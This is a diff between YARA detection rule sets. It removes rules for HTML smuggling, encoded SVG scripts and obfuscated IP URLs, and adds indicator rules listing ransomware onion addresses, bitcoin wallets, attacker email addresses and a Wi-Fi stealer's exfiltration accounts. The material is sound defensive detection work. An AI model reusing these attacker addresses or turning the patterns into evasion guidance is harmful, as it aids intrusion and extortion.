-		description = "Generic detection for HTML smuggling (T1027.006)"
-		author = "marcin@ulikowski.pl"
-		id = "b711318f-81d2-5d0b-968f-04ae18fdea5b"
-		date = "2021-05-13"
-		modified = "2023-04-16"
-		reference = "https://github.com/elceef/yara-rulz"
-		source_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/rules/HTML_Smuggling.yara#L1-L31"
-		license_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/LICENSE"
-		logic_hash = "bc076e9f3d4c6d2aa5a3602436408e5b2ac3140ca9f7cc776c44835cba211951"
+		description = "Detects files referencing identities associated with LokiLocker ransomware"
+		author = "ditekShen"
+		id = "ab2cf390-4544-54ed-913c-d463d0f1bdb0"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L523-L531"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "1ab9a2ce7e39d916b389e2adb975e3558ddb7d87f7e9494e6b20cb25edd3cb84"
 		score = 75
-		quality = 75
-		tags = "T1027, FILE"
-		hash1 = "279d5ef8f80aba530aaac8afd049fa171704fc703d9cfe337b56639732e8ce11"
+		quality = 73
+		tags = ""
 
 	strings:
-		$mssave = { ( 2e | 22 | 27 ) 6d 73 53 61 76 65 }
-		$element = { ( 2e | 22 | 27 ) 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 ( 28 | 22 | 27 ) }
-		$objecturl = { ( 2e | 22 | 27 ) 63 72 65 61 74 65 4f 62 6a 65 63 74 55 52 4c ( 28 | 22 | 27 ) }
-		$download = { ( 2e | 22 | 27 ) 64 6f 77 6e 6c 6f 61 64 ( 3d | 22 | 27 ) }
-		$click = { ( 2e | 22 | 27 ) 63 6c 69 63 6b ( 3d | 22 | 27 ) }
-		$atob = { 61 74 6f 62 ( 28 | 22 | 27 ) }
-		$blob = "new Blob("
-		$array = "new Uint8Array("
-		$ole2 = "0M8R4KGxGuEA"
-		$pe32 = "TVqQAAMAAAAE"
-		$iso = "AAAABQ0QwMDE"
-		$udf = "AAAAQkVBMDEB"
-		$zip = { 55 45 73 44 42 ( 41 | 42 | 43 | 44 ) ( 6f | 30 | 4d | 51 ) ( 41 | 44 ) ( 41 | 43 ) }
-		$jsxor = { 2e 63 68 61 72 43 6f 64 65 41 74 28 [1-10] 29 ( 5e | 20 5e ) }
+		$s1 = "Unlockpls.dr01@yahoo.com" ascii wide nocase
 
 	condition:
-		filesize <5MB and ($mssave or (#element==1 and #objecturl==1 and #download==1 and #click==1)) and $blob and $array and $atob and (#ole2+#pe32+#iso+#udf+#zip+#jsxor)==1
+		any of them
 }
-rule ELCEEF_HTML_Smuggling_B : T1027 FILE
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Blackcat
 {
 	meta:
-		description = "Generic detection for HTML smuggling (T1027.006)"
-		author = "marcin@ulikowski.pl"
-		id = "640d70c2-f1fc-5e32-a720-ebc92839ec40"
-		date = "2022-12-02"
-		modified = "2023-04-16"
-		reference = "https://github.com/elceef/yara-rulz"
-		source_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/rules/HTML_Smuggling.yara#L33-L60"
-		license_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/LICENSE"
-		logic_hash = "3c42e6f715bd5476aea4d47e9f6431747ddf7c7c8098840560201e2c21723eeb"
+		description = "Detects files referencing identities associated with BlackCat ransomware"
+		author = "ditekShen"
+		id = "21038f8e-73cd-59d2-9eb3-6947d263ab79"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L533-L569"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "eb0a4d26170f030775f778cc524749ca283dfa983f84bd364e4df6321eb96cf1"
 		score = 75
-		quality = 75
-		tags = "T1027, FILE"
-		hash1 = "63955db0ccd6c0613912afb862635bde0fa925847f27adc8a0d65c994a7e05ea"
+		quality = 73
+		tags = ""
 
 	strings:
-		$objecturl = { ( 2e | 22 | 27 ) 63 72 65 61 74 65 4f 62 6a 65 63 74 55 52 4c ( 28 | 22 | 27 ) }
-		$atob = "atob("
-		$blob = "new Blob("
-		$file = "new File(["
-		$array = "new Uint8Array("
-		$ole2 = "0M8R4KGxGuEA"
-		$pe32 = "TVqQAAMAAAAE"
-		$iso = "AAAABQ0QwMDE"
-		$udf = "AAAAQkVBMDEB"
-		$zip = { 55 45 73 44 42 ( 41 | 42 | 43 | 44 ) ( 6f | 30 | 4d | 51 ) ( 41 | 44 ) ( 41 | 43 ) }
-		$jsxor = { 2e 63 68 61 72 43 6f 64 65 41 74 28 [1-10] 29 ( 5e | 20 5e ) }
+		$pk1 = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0B0ni9tyKHSJmU6gc1iRwNTklYocRKmLPUyOthUIHnZHwL1M2pKlMBwXx81bboVS6Cf8YaCoWW1bCmLwPX421sG22xkmtMy/SfiG8jaYtYiA7r7hOdIUnJgRo6vDvNafZlSD32tFVVjuX8Ec79qj2FM7/MmNcseUgpIQaEACuZcSzMK+jZA4BLT9b5Akkec2hPOXGTPmgaXjL9EJE+0rhNZcm/m6xe4/S5eL2kSCVsNUeG8xWuSO2kDRS8xY3rtJOCNEdqZp1rxzTkhgj3hHqr7AoFAkxNblQ538JcdF5+CGINxckA/ldmP7wQd92tmFk2vcl2WeQykFwMM6L6MsQwIDAQAB" ascii wide
+		$pk2 = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA49gzJwP9UwEuYQZT1cdgSpxG6z8TVNLPfS4Qwd3vpWHEOAuvi8JGVEpHPGZnrD1QFoDLSTva3PZ4mqtIVO79GOYb5uQkP7LdJGWbLAjUGptVGmB67jKOOLLrjmuBDHpJXSOGG/vw5vajr4MhNnsvoBLPOC0AOzPM6GBDgKdC9zdUGNEreAjOR4neqwZ2jfYl5k5e3eRF86hmWhGXJQaU1uTmDJwgQIzmUZKo+YCfAHbEbSA4HhsumJfw0MJN7RfKPEQkEVvRIBibHnJuIp1bxk3IGPzTCbyQLHMVLz8wgElEexu8/aO3FT6w4uPY3qD+r2W+ri7xIdEN/pTz6TBKvwIDAQAB" ascii wide
+		$pk3 = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA8tKPNFCbU5Unr9jxlTk4RmUdVhcRydJFts6hMpLzcAXIR2yxiNC0QiF4UovAIpGwX6kxOW7kOaOvABJQP6QENMNSg030VlLoTP+ndfFwIt+X+RUflG4UWPE8yu+kzGpCwp7UjX+hD/SpFbSFRRh3BvL3vEq04DzE0AzifEBE4yxKpLsrMsXyZzWy9Nza8NTO2jrBxoEVM2xCLkULp0wZEPDwgeKGkoxMzqavVWBC+Vxi0atKstbo7/TloNenPagl/eUErk9C8tT67zKgbEh3TFtREgaxa/yrjBvN48BU8JGGxLxy4AeGF0vOUdD0WkJsWYzLVg21ApgJaCDr5zDPuQIDAQAB" ascii wide
+		$pk4 = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApw3tWdMaWJvNf2Mejy5H0Y6kuj+lstNpwFyismGDEYhWKPps9c68xl+84o6uLKfqPzNvLnSxlVa6DitcJGeKJEQkzN+C1e1KsfzM63jHybREB2hs+dHbqBq4dbamIQcTrrr4mKzuHJ7aok4mlpRx2Un1XOJaodoV7xOHO7ui5v6uK39MJ3rvitSEBvv5oI0WDlp3IFmtd6UM6r2nygY1ncAUuasalZgF1Vaz7VXOWyX2ReQHbYWWRCR1qyKMQcBtjT5POXx9B8ek1pnU4p65kGe9M794Bhhh20GN24gY5a+zwXwstaNTO9luwd4xjjRQAVsDgjrjkzti27G11ICn6wIDAQAB" ascii wide
+		$pk5 = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAq8kj5LQJngPsY7AhTaJsUXc5FrSGeKS5gw5PIqk2QPM9TY6+us8TRRzWZ7rGk1zns2klpzpRMUzLIqB8lpCkJjqkOUGfgqs+HN4VIOpoJgFY897xstJCxTc+8pYQEsSqClxJllscU0okkLSQqndIR2Gznlg3qfcwyncJAFBInyqM+L4kbwCQZ6x5HNiLe2lJn8RP2aDiMI+RS1uLYron2G7rxDTUQnxThMtgLAeko8ulaB3TpB0g4lmHCenkEZeBNs81986+MjHnv7KkiscZ7ZrezKjNaIxRs8BAcD9y+Q9QQxCvZMS01ITNXcgiItbA4dsGq1fPJ42yBkkiIodsEQIDAQAB" ascii wide
+		$pk6 = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqEoytNrMZRoqyIsFpcjiqVWpuV+cC9jS1umXNg/AnJF/xE7LONAmb1p8Dsx1igIUd65IXfFUxmJjFO5hf8LIBzvjUbBll4lbSgGTAUHa3Jbmr/imle6QftmY32J7dDb4WuJUOx+vLNT0I72CESiyotSzwgvLwjyubTmzTJMkqviYOcgDj45NVOx669cG6FWEaJo3PUZzRx9LS6pkOn8tW+W4NzmHMcrma+LOakan7NU6Khv5Hf5ARNsAA+KvDfP1WXJ/VsLXj6x8SdX0v2iS+y58ehUUmlxc8HNsYdOGFwrwYX9zLyJDedsbPg02c4AE4KXt8vH4+j4lVFtruSy4vwIDAQAB" ascii wide
+		$pk7 = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAt9uYkHzaizNXg/S11ncTTLybkMtqrKW8gg6TyzbGWnRNROl9O+l1VZBLG0xiMt1mZbuStl8Lt3l1vlkMa92kgLjN+UfKmq3KhBEheN2uMmR0WpwV83kceVRmzr5lug4RyQ/xA6/OXK4NptDIT4L6CUTBWMyk2mmY0Cq9HyyrjdnHeAXWAcQGFEac7W4jTjONZqI+lgScPewS+cPFnz1hAD0IAqzj5X2mZVSfFGR3tDoIe42jw5wb6W2yi8zb3mgKrGtTBbw0Ppj0UgKrmdN5iFmfUQHLEzKAakDggLcBtrW1o5+4WMaZOLw8maU5byvjXu3F3i3GdQe8SKTYcVK5OQIDAQAB" ascii wide
+		$pk8 = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAugqZ4ATE9+9FqununW/DBvGosnUX/bNxQzMYUmE14GJIbNa6vwYSNXOlG09mvdAqZqD3lXihWDjy25+gzqSeS+Fs2qNyTdfGPA8iu2xx5RRUXKLGFThxtIzg3fohAK3+LxJVhxtuITAT38IHacc7dVLHsrddu4UDjiHGFdvXjB55Nwe5cu1BYylHsARMYycBA2FwLP57cKvc2/C3OXBAF6qbsVXBcyFhrKOOYA/+5IjFfEhgHy2FLHRf8lmPQPbSlrM6dk+W4D5KVqOPx/eFp0geUJJlmlre3flI29qWS20bkGqAEz9j07y69HGYN9Nt7+DRgBwrpNo/EkZkuaSTtQIDAQAB" ascii wide
+		$pk9 = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuuAQlnowSGaSi2XgnwaHQAFZ6e7C0SwpAyyLTncJ4l5cwFbM+mwnV+iV3a+ert8WqOmW1aKOCjTPXrXNoirQgboVpLfhIIT1uOOss4O8lodRxgB6QrLCI7PYMZ+8VgIdEPPzsjmTFLxFc7DERxnSjhGdRQIjZNjm7bGScJD0MayDL9KTkVdJtC+C9n5dwEwg6XtQbwLDeaGZaByOgB/zR6tlcPQCNU9rj1qfcVrI/dFW4br/NnJbqrH714z+dvCa18IJTcu3kW74CAilvHrl5qFDd8CCQhjLrjQDPxAoCba9aXKr6dwt34/MU0tVRTYjzMAxR4yTh3oEjVT+HifvVwIDAQAB" ascii wide
+		$pk10 = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwcPjnPl8bI1A0iudX70FKkTjnLjHyetHN2kAIcyOG10K8vm67n/Ma9mAnoDggD3D6UtAbwjvHwPW1m9WF+MrnBXmBizE0JpwOLtVFcHeVLJXlYn/C5RNZziTCwjauH6TlT7Mo/oHfg7nX4IXEuaeAZz8g9ioeJ1Lydi9ZZM1gmdNk8KuKR0zrrJ6MMAGrhMtblLFVwtMn7IlNjT/BgSL4pDyNa++wI5P4R2rMykJwGu/7o2kKE2IFimtFDyZ5a+CX46cdKt7uo5eKFiqf/jTes9/y5AgoS69mt4fRvWFhP7qHXRO2gG8XAc+9suhiuVUWZTAu3xXz5VsmBtk8pzcpwIDAQAB" ascii wide
+		$pk11 = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwMQXFMtYf60KrbUVwNVoPhhrCTNMY3Zv+/WULZRZfJ4dMhYozDxtRVdtBDKtuYuHCGLu/Ymf9wKFFXgVH3En7qI1sU2UdjNR4086X8oSTMUn/GwEAEIZAHtSFuk6AXcXW+eO0yxPF+lt5AZcNnJocWBVZ8RWGvsQdtGgtZalttAynROC4RUGkvD1h1ssMteHWneFLpfzSPGlbu0s0cemsrTPmhexGIenup/YjNdmhbfvvYE9kZfPebGtZHw6oQXWcG7sAlvkGciJl3Eo9FznNj0K+v8WQW5L/UbosZaYVJbxlbtySvqUqZbkLKsmp91tr9bvTiDMZuXZS7iHVqchUQIDAQAB" ascii wide
+		$pk12 = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxbKVxwYe4PpnPm0XtuqShDqFWCFRBw0tYo2vmLwVPlwa+0+ox8+nF0mzWC3ZZT2XkGSodszosOoocfKAwOjQnA+4/Hokl4hgG6K8O7wWuWlvgo4fkcZShy2cMY9FaC6e4bMfurlDFt7OVrKKWAyEGv49Etq6LNoyl5ddM/XmspG52gscRoIcOTwBL4bD8nVcamZXqE4j2mS62HicQ6q9YgRVs1PLbgVPbg8c2rFzpN1e8wZdPtvyGON0m3CmxsYa63yianbnBAS4WnxEnoI7eCZZNkblr+kZB4J9War5VYHu9lFw4XWeuHget/Rn8oGCJOMHkZMz23NpUVaX9htQAwIDAQAB" ascii wide
+		$url1 = "://zujgzbu5y64xbmvc42addp4lxkoosb4tslf5mehnh7pvqjpwxn5gokyd.onion" ascii wide
+		$url2 = "://alphvmmm27o3abo3r2mlmjrpdmzle3rykajqc5xsj7j7ejksbpsa36ad.onion" ascii wide
+		$url3 = "://2cuqgeerjdba2rhdiviezodpu3lc4qz2sjf4qin6f7std2evleqlzjid.onion" ascii wide
+		$url4 = "://aoczppoxmfqqthtwlwi4fmzlrv6aor3isn6ffaiic55wrfumxslx3vyd.onion" ascii wide
+		$url5 = "://b4twqa2mvob3s6uvuyfra5xk3qgps2v5kkt7k2qnb7rpdu3j4fkntead.onion" ascii wide
+		$url6 = "://b6v4ojs7jfvftvcoagjxp7qz33yeljydqy6afzsh26vqbzcjwz4b3zad.onion" ascii wide
+		$url7 = "://htnpafzbvddr2llstwbjouupddflqm7y7cr7tcchbeo6rmxpqoxcbqqd.onion" ascii wide
+		$url8 = "://id7seexjn4bojn5rvo4lwcjgufjz7gkisaidckaux3uvjc7l7xrsiqad.onion" ascii wide
+		$url9 = "://mu75ltv3lxd24dbyu6gtvmnwybecigs5auki7fces437xvvflzva2nqd.onion" ascii wide
+		$url10 = "://odf3dt34tkqndw5h2l5gt2gwwd3jct5rwwjusbd3vlin2jueyv2qkgid.onion" ascii wide
+		$url11 = "://rfosusl6qdm4zhoqbqnjxaloprld2qz35u77h4aap46rhwkouejsooqd.onion" ascii wide
+		$url12 = "://sty5r4hhb5oihbq2mwevrofdiqbgesi66rvxr5sr573xgvtuvr4cs5yd.onion" ascii wide
+		$url13 = "://xqoykemmcivwtpxh3a6pu3w7sstr2y7hapxdiv4caaxidurmwwbjx2id.onion" ascii wide
+		$url14 = "://y4722ss64vel5hmph75te7lx2x5xz463322ypjirm5ytxviijtdpybid.onion" ascii wide
 
 	condition:
-		filesize <5MB and $atob and #objecturl==1 and #file==1 and #blob==1 and #array==1 and (#ole2+#pe32+#iso+#udf+#zip+#jsxor)==1
+		(1 of ($pk*) and 1 of ($url*))
 }
-rule ELCEEF_HTML_Smuggling_C : T1027 FILE
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Koxic
 {
 	meta:
-		description = "Generic detection for HTML smuggling (T1027.006)"
-		author = "marcin@ulikowski.pl"
-		id = "ea1eafad-905b-571e-a016-8774e65bd976"
-		date = "2023-04-17"
-		modified = "2023-04-17"
-		reference = "https://github.com/elceef/yara-rulz"
-		source_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/rules/HTML_Smuggling.yara#L62-L82"
-		license_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/LICENSE"
-		logic_hash = "83409b0b173980975f6349e448e72fe1b2115fc7dbdec8ee7ad1826a65db17d3"
+		description = "Detects files referencing identities associated with LokiLocker ransomware"
+		author = "ditekShen"
+		id = "4c4ff722-cac1-5967-9e79-681f47566e96"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L571-L580"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "ca4d0e85cf4c7a134609262e21d5cef98100ba0a046d17ffe51bf3975dc7cae9"
 		score = 75
-		quality = 75
-		tags = "T1027, FILE"
-		hash1 = "0b4cdfc8ae8ae17d7b6786050f1962c19858b91febb18f61f553083f57d96fea"
-		hash2 = "2b99bf97f3d02ba3b44406cedd1ab31824723b56a8aae8057256cc87870c199e"
-		hash3 = "904ea1ada62cfd4b964a6a3eb9bab5b98022ab000f77b75eb265a2ac44b45b37"
+		quality = 73
+		tags = ""
 
 	strings:
-		$blob = "new Blob("
-		$array = "new Uint8Array("
-		$mssave = { ( 2e | 22 | 27 ) 6d 73 53 61 76 65 }
-		$loop = { ?? 5b 69 5d ( 3d | 20 3d | 3d 20 | 20 3d 20 ) ?? 5b 69 5d ( 2d | 20 2d | 2d 20 | 20 2d 20 ) 3? 3b }
+		$s1 = "wilhelmkox@tutanota.com" ascii wide nocase
+		$s2 = "F3C777D22A0686055A3558917315676D607026B680DA5C8D3D4D887017A2A844F546AE59F59F" ascii wide
 
 	condition:
-		filesize <5MB and $mssave and #blob==1 and #array==1 and #loop==1
+		any of them
 }
-rule ELCEEF_Base64_SVG_Javascript
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Ryuk
 {
 	meta:
-		description = "Detects base64 encoded SVG objects containing Javascript"
-		author = "marcin@ulikowski.pl"
-		id = "99275772-1f4f-5616-9a9c-f76b613fe143"
-		date = "2022-10-25"
-		modified = "2022-12-12"
-		reference = "https://github.com/elceef/yara-rulz"
-		source_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/rules/Base64_SVG_Javascript.yara#L1-L16"
-		license_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/LICENSE"
-		logic_hash = "e4cb08ccc75dc00b518c4ee1495409ae6bb99e7d493be55312b8d39aa9099cfc"
+		description = "Detects files referencing identities associated with Ryuk ransomware"
+		author = "ditekShen"
+		id = "00cf99da-ff3c-5c91-8966-69a8afc8613a"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L582-L592"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "a2b6106fc49dd254ca936e285fa0c2a3aee7110832686638d20d369d77f6c48f"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = ""
-		hash1 = "fe394a59e961c3fbcc326e7d0ee5909596de55249e669bc4da0aed172c11fda8"
-		hash2 = "f0c94f2705b1aea17f4a6c6d71c6ed725fe71bf66b03b0117060010859ca8a19"
 
 	strings:
-		$svg = "\"data:image/svg+xml;base64" wide ascii
-		$js = "<script type=\"text/javascript\">" base64
+		$s1 = "WayneEvenson@protonmail.com" ascii wide nocase
+		$s2 = "WayneEvenson@tutanota.com" ascii wide nocase
+		$s3 = "14hVKm7Ft2rxDBFTNkkRC3kGstMGp2A4hk" ascii wide
 
 	condition:
-		all of them
+		any of them
 }
-rule ELCEEF_EICAR_Encrypted_ZIP
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Lockdown
 {
 	meta:
-		description = "Detects EICAR file in any encrypted ZIP archive"
-		author = "marcin@ulikowski.pl"
-		id = "c12d42de-356a-584b-9c48-71e65940f1cf"
-		date = "2022-12-13"
-		modified = "2022-12-16"
-		reference = "https://github.com/elceef/yara-rulz"
-		source_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/rules/EICAR_Encrypted_ZIP.yara#L14-L44"
-		license_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/LICENSE"
-		logic_hash = "56851056671bde38338bd200d9fde59c042f35a2cd84ac9401e716f376c9502c"
+		description = "Detects files referencing identities associated with LockDown / cantopen ransomware"
+		author = "ditekShen"
+		id = "603f0113-d77b-590c-b2a0-804c6d1fbfbc"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L594-L603"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "cb17bb92d6e8189a08508481b75d301a1227906815c684753859914d77d7b3e7"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = ""
 
 	strings:
-		$local = {
-			50 4b 03 04 // local file header signature (PK)
-			?? 00 // minimum version
-			?? 00 // flags (bit 0 and 6 indicate encryption)
-			?? 00 // compression method
-			?? ?? // last modification time
-			?? ?? // last modification date
-			?? ?? ?? ?? // CRC-32 of uncompressed and unencrypted data
-			?? ?? ?? ?? // compressed size
-			?? ?? ?? ?? // uncompressed size
-			}
+		$s1 = "CCWhite@onionmail.org" ascii wide nocase
+		$s2 = "bc1q6ug0vrxz66d564qznclu9yyyvn6zurskezmt64" ascii wide
 
 	condition:
-		for any i in (1..#local) : (( uint8(@local[i]+6)&0x01 or uint8(@local[i]+6)&0x40) and uint32(@local[i]+14)==0x6851cf3c and uint32(@local[i]+22)==68)
+		any of them
 }
-rule ELCEEF_ZIP_High_Ratio_Single_Doc : FILE
+rule DITEKSHEN_INDICATOR_KB_LNK_BOI_MAC : FILE
 {
 	meta:
-		description = "Detects ZIP archives containing single MS Word document with unusually high compression ratio"
-		author = "marcin@ulikowski.pl"
-		id = "0fbe89d9-1bf5-50a9-b6c1-1d739162a2ba"
-		date = "2023-03-08"
-		modified = "2023-03-08"
-		reference = "https://github.com/elceef/yara-rulz"
-		source_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/rules/ZIP_High_Ratio_Single_Doc.yara#L8-L27"
-		license_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/LICENSE"
-		logic_hash = "470300b8d6356cff43a1e2be3a23a97be5d1e2ce5a76f2fb2eccdbbb47a4d327"
+		description = "Detects Windows Shortcut .lnk files with previously known bad Birth Object ID and MAC address combination"
+		author = "ditekSHen"
+		id = "bfef07dc-a368-5119-82dd-de2096b17dd1"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L605-L637"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "31a7966a0ea0fca363d2b926b06c8acbdae0c24dd2156389196255dbbf4ed662"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		hash1 = "4d9a6dfca804989d40eeca9bb2d90ef33f3980eb07ca89bbba06d0ef4b37634b"
-		hash2 = "4bc2d14585c197ad3aa5836b3f7d9d784d7afe79856e0ddf850fc3c676b6ecb1"
 
 	strings:
-		$magic = { 50 4b 03 04 }
-		$ext = ".doc"
+		$boi1 = { 2C ED AC EC 94 7A E8 11 9F DE 00 0C 29 A1 A9 40 }
+		$boi2 = { 3F 54 89 18 46 CB E8 11 BD 0E 08 00 27 6D D5 D9 }
+		$boi3 = { DE 63 02 FE 57 A2 E8 11 92 E8 5C F3 70 8B 16 F2 }
+		$boi4 = { C2 CC 13 98 18 B9 E2 41 82 40 54 A8 AD E2 0A 9A }
+		$boi5 = { C4 9D 3A D4 C2 29 3D 47 A9 20 EE A4 D8 A7 D8 7D }
+		$boi6 = { E4 51 EC 20 66 61 EA 11 85 CD B2 FC 36 31 EE 21 }
+		$boi7 = { 6E DD CE 86 0F 07 90 4B AF 18 38 2F 97 FB 53 62 }
+		$boi8 = { 25 41 87 AE F1 D2 EA 11 93 97 00 50 56 C0 00 08 }
+		$boi9 = { C4 9D 3A D4 C2 29 3D 47 A9 20 EE A4 D8 A7 D8 7D }
+		$boi10 = { 5C 46 EC 05 A6 60 EB 11 85 EB 8C 16 45 31 19 7F }
+		$boi11 = { 30 8B 17 86 9B 35 C5 40 A7 9D 48 5C D6 3D F3 5C }
+		$boi12 = { E5 21 1D 04 9D A4 E9 11 A9 37 00 0C 29 0F 29 89 }
+		$boi13 = { 34 5F AC 8A 4E CE ED 4D 8E 55 83 8E EA 24 B3 4E }
+		$boi14 = { 49 77 25 3B D6 E1 EB 11 9C BB 00 D8 61 85 FD 9F }
+		$mac1 = { 00 0C 29 A1 A9 40 }
+		$mac2 = { 08 00 27 6D D5 D9 }
+		$mac3 = { 5C F3 70 8B 16 F2 }
+		$mac4 = { 00 0C 29 5A 39 04 }
+		$mac5 = { B2 FC 36 31 EE 21 }
+		$mac6 = { 00 50 56 C0 00 08 }
+		$mac7 = { 8C 16 45 31 19 7F }
+		$mac8 = { 00 0C 29 0F 29 89 }
+		$mac9 = { 00 D8 61 85 FD 9F }
 
 	condition:
-		filesize <1MB and $magic at 0 and #magic==1 and uint32(22)>1024*1024*100 and $ext at ( uint16(26)+26)
+		uint16(0)==0x004c and uint32(4)==0x00021401 and filesize <3KB and (1 of ($boi*) and 1 of ($mac*))
 }
-rule ELCEEF_Obfuscated_IP_Address_In_URL
+rule DITEKSHEN_INDICATOR_KB_ID_Powershellwifistealer
 {
 	meta:
-		description = "Detects hexadecimal and octal IP address representations in URL"
-		author = "marcin@ulikowski.pl"
-		id = "f2ebf5f7-5446-5eaa-8e30-90d08b8616d9"
-		date = "2020-09-17"
-		modified = "2024-03-04"
-		reference = "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/evasive-urls-in-spam/"
-		source_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/rules/Obfuscated_IPAddr_URL.yara#L1-L17"
-		license_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/LICENSE"
-		logic_hash = "ab2a2a3a56e6eed9f4a3a8f994c89a167f00b86ce442820c81d8ee673b0ab85c"
+		description = "Detects email accounts used for exfiltration observed in PowerShellWiFiStealer"
+		author = "ditekShen"
+		id = "fa19e422-c682-5464-b034-330942daf3bd"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L691-L704"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "f119b54032e2a6ca35819e811e6479b00936115d98ef6e928f4c819d04a8321f"
 		score = 75
-		quality = 65
+		quality = 63
 		tags = ""
 
 	strings:
-		$ = /="?http:\/\/0[0-7]{1,3}\.0[0-7]{1,3}\.0[0-7]{1,3}\.0[0-7]{1,3}\.?\// nocase ascii wide
-		$ = /="?http:\/\/0x[0-9a-f]{8}\.?\// nocase ascii wide
-		$ = /="?http:\/\/0x[0-9a-f]{2}\.0x[0-9a-f]{2}\.0x[0-9a-f]{2}\.0x[0-9a-f]{2}\.?\// nocase ascii wide
-		$ = /="?http:\/\/[0-9]{8,10}\.?\// nocase ascii wide
+		$s1 = "hajdebebreidekreide@gmail.com" ascii wide nocase
+		$s2 = "usb@pterobot.net" ascii wide nocase
+		$s3 = "umairdadaber@gmail.com" ascii wide nocase
+		$s4 = "mrumairok@gmail.com" ascii wide nocase
+		$s5 = "credsenderbot@gmail.com" ascii wide nocase
+		$s6 = "easywareytb@gmail.com" ascii wide nocase
 
 	condition:
 		any of them
 }
-/*
- * YARA Rule Set
- * Repository Name: GodModeRules
- * Repository: https://github.com/Neo23x0/god-mode-rules/
- * Retrieval Date: 2024-08-04
